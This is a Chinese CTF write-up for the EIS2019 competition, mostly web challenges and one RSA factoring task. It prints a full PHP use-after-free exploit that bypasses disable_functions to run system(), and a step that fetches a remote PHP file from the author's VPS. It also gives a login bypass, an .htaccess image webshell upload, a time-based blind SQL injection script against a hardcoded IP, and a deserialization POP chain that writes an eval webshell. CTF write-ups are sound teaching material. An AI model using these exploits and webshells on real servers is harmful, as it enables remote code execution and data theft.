EIS2019 WP

WEB

ezbypass

简单绕过disable_function,找找别人的payload,直接上传

= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

我是用copy('http://vps/zz.php','/tmp/zz.php')来进行传输,然后?cmd=include('/tmp/zz.php');&ssss=/readflag拿到flag,但是好像传过去一个空文件,所以一直失败。后来发现有别人也上传了shell

EIS2019 WP_第1张图片

直接捡别人的来用
EIS2019 WP_第2张图片

ezupload

右键看到提示,下载/.login.php.swpvim -r恢复原文件。

prepare($sql)) {
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($dpasswd);
        $stmt->fetch();
        if ($dpasswd === $password){
        $_SESSION['login'] = 1;
            header("Location: /upload.php");
        }else{
            die("login failed");
        }
        $stmt->close();
    }
}else{
    header("Location: /index.php");
}
$mysqli->close();

老考题了,随便输入一个username,抓包删掉password即可。因为select结果为nullpasswordnullnull===null

EIS2019 WP_第3张图片

接下来也是老考题了,用 SUCTF2019 CheckIn的思路即可,因为不知道上传目录下是否有 php文件,所以改用 .htaccess+图片马直接上。文件中加个 xbm文件头

#define test_width 16
#define test_height 7

EIS2019 WP_第4张图片
EIS2019 WP_第5张图片
猜测上传目录为 uploads,然后去 getshell
EIS2019 WP_第6张图片

ezwaf

源码如下:

$val)
    {
        if (!is_array($val))
        {
            $newarr[$key] = mysqli_real_escape_string($mysqli, $val);
        }
    }
    return $newarr;
}

$_GET= escape($_GET);

if (isset($_GET['name']))
{
    $name = $_GET['name'];
    mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
    $age = $_GET['age'];
    mysqli_query($mysqli, "select name from user where age=$age");
}

代码中加了一层mysql_real_escape_string()函数过滤了单引号双引号

EIS2019 WP_第7张图片

但是在代码中我们可以发现, age这个变量是数值型注入。所以直接盲注就可以。盲注代码如下:

import requests
import urllib

flag = ''
pos = 1
url = 'http://111.186.57.61:10601/?age='
while True :
    for i in range(0,128):
        try:
           # res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
           # flag_xdd
           # res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(column_name) from information_schema.columns where table_name=0x666c61675f786464) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
           # flag_32122
           res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(flag_32122) from flag_xdd ) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2)
        except Exception ,e:
            flag +=chr(i)
            print flag
            break
    pos = pos+1
    print "oops"

一开始写的时候,没有加headers={'Content-Length':''},死活出不来答案。
然后因为过滤了引号,所以再写where子句的时候,用的是十六进制绕过。

EIS2019 WP_第8张图片

ezpop

源码:

 key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save()
    {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }
}

class B{
    protected function getExpireTime($expire): int
    {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool
    {
        $this->writeTimes++;
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);
        $dir = dirname($filename);
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data   = "\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }
        return false;
    }
}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

首先确定应该是反序列化,考虑一下利用链的构造。
看一下代码,大概能确认是以下过程:

A类的__destruct()调用A类的save()
通过构造A的$store为B对象,从而在A类的save()中调用B类的set
在B类的set中最终完成shell的写入

接下来详细看一下各参数。
先从B类开始吧。

prefix用于文件名的构造。

...
    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }
...
$filename = $this->getCacheKey($name);

因为在后面写入文件的时候,前面拼接了一段别的php代码

"\n"

而且这段代码会导致即便我们在后面拼接上shell也无法正常执行。
这里经@张师傅提醒知道有道原题叫死亡退出,并且file_put_contents是支持php伪协议的,所以我们可以通过php://filter/write=convert.base64-decode/来将

        $data   = "\n" . $data;
        $result = file_put_contents($filename, $data);

这段代码中的$data全部用base64解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。
这里唯一需要注意的是长度问题,我们需要shell部分前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。
所以$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/';已经可以确定了。

然后是控制写入的内容。
我们先确定$data是怎么生成的。
从最终写入文件往上翻,先看到的是

$data   = "\n" . $data;

这里\n长度为32,所以不用注意,继续往上翻:

...
   protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        #print strval($data);#[{"whatever":{"filename":"test"}},"333"]
        return $serialize($data);
    }
...
$data = $this->serialize($value);

只要不影响原值,哪个函数都行。这里我选择用的是strval,用strip_tags当然也是可以的。$b->options['serialize']='strval'。再往上翻,就翻到了A类:

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save()
    {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

可以发现关键是$a->catch的构造。在cleanContents()中,array_intersect_key()是比较两个数组的键名,并返回交集。所以我们$object的键选$cachedProperties中任意一个都行,这里选择path。值就是我们的shellbase64编码,
JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==
所以
$object = array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");

如果我们设值$path='1',$complete='2',则最后得到的$contents会是

[{"1":{"path":"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="}},"2"]

其中$complete='2'因为在shell后面,所以并不影响解码。在本地试了试,发现$path='111'时,可以正常解码shell。这样的话,$data已经设置完毕。
别的就是一些判断条件的参数,最终的exp如下:

key = '1.php';
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=./uploads/";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>

get请求发过去之后,发现成功写入。

EIS2019 WP_第9张图片

说说遇到坑。一开始随便百度了一个base64在线编码,然后发现死活解不了。后来换了个网站发现成功了,原来是一开始找的网站,不仅会base64编码,还同时给我url编码了一波。。
还有个坑,就是在调$path长度的时候,我一开始以为是直接算$datashell前面那一串的长度,我算出来不加$path的时候长度为14

然后我以为 $path长度设为2即可。然后发现死活不成功,后来从1到4都试了试(最多就是4个),发现长度3的时候成功了,我也不知道这个长度到底怎么算的。。
base64编码之后结尾如果有 =,要删了之后才能写入成功,也很玄学。。

所以建议本地打通了再试远程。

Crypto

RSA1

from flag import FLAG
from Crypto.Util.number import *
import gmpy2
import random

while True:
    p = int(gmpy2.next_prime(random.randint(10**399, 10**400-1)))
    q = int(str(p)[200:]+str(p)[:200])
    if gmpy2.is_prime(q):
        break

m = bytes_to_long(FLAG)
n = p*q
e = 65537
c = pow(m,e,n)

with open("enc","wb") as f:
    f.write(str(c))
    f.write("\n")
    f.write(str(n))
16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435904022750269541456641256887079780585729054681025921699044139927086676479128232499416835051090240458236280851063589059069181638802191717911599940897797235038838827322737207584188123709413077535201099325099110746196702421778588988049442604655243604852727791349351291721230577933794627015369213339150586418524473465234375420448340981330049205933291705601563283196409846408465061438001010141891397738066420524119638524908958331406698679544896351376594583883601612086738834989175070317781690217164773657939589691476539613343289431727103692899002758373929815089904574190511978680084831183328681104467553713888762965976896013404518316128288520016934828176674482545660323358594211794461624622116836
21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800210661276075473243912578032636845746866907991400822100939309254988798139819074875464612813385347487571449985243023886473371811269444618192595245380064162413031254981146354667983890607067651694310528489568882179752700069248266341927980053359911075295668342299406306747805925686573419756406095039162847475158920069325898899318222396609393685237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715643442608910351994872740343566582808831066736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301

首先我们先把切割成两部分,前200位为,后面的为,则,此时。
所以不难发现最低200位是的低200位,最高200位是的高200位(或者进一位)而是400位,所以都为200位,所以也为400位,所以此时得到就是。
此时我们用去代入上述等式,求出。此时我们可以根据得到的值后200位是否全为0,从而判断是进了一位的。然后两个变量两个等式算出,。

import gmpy2
import libnum
c = 16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435904022750269541456641256887079780585729054681025921699044139927086676479128232499416835051090240458236280851063589059069181638802191717911599940897797235038838827322737207584188123709413077535201099325099110746196702421778588988049442604655243604852727791349351291721230577933794627015369213339150586418524473465234375420448340981330049205933291705601563283196409846408465061438001010141891397738066420524119638524908958331406698679544896351376594583883601612086738834989175070317781690217164773657939589691476539613343289431727103692899002758373929815089904574190511978680084831183328681104467553713888762965976896013404518316128288520016934828176674482545660323358594211794461624622116836
n = 21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800210661276075473243912578032636845746866907991400822100939309254988798139819074875464612813385347487571449985243023886473371811269444618192595245380064162413031254981146354667983890607067651694310528489568882179752700069248266341927980053359911075295668342299406306747805925686573419756406095039162847475158920069325898899318222396609393685237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715643442608910351994872740343566582808831066736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301
e = 65537

tmp = 10**200
#abhigh,ablow = n/(tmp^3), n % tmp
abhigh,ablow = n/(tmp**3)-1, n % tmp
ab = abhigh*tmp+ablow
a2b2 = (n-ab*(tmp**2)-ab)/tmp
#print a2b2
#(a-b),(a+b)
tmp1 = gmpy2.iroot(a2b2-2*ab,2)[0]
tmp2 = gmpy2.iroot(a2b2+2*ab,2)[0]
a = (tmp1+tmp2)/2
b = a-tmp1
p = a*tmp + b
q = n/p
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,p*q)
print libnum.n2s(m)

未完待续

你可能感兴趣的:(EIS2019 WP)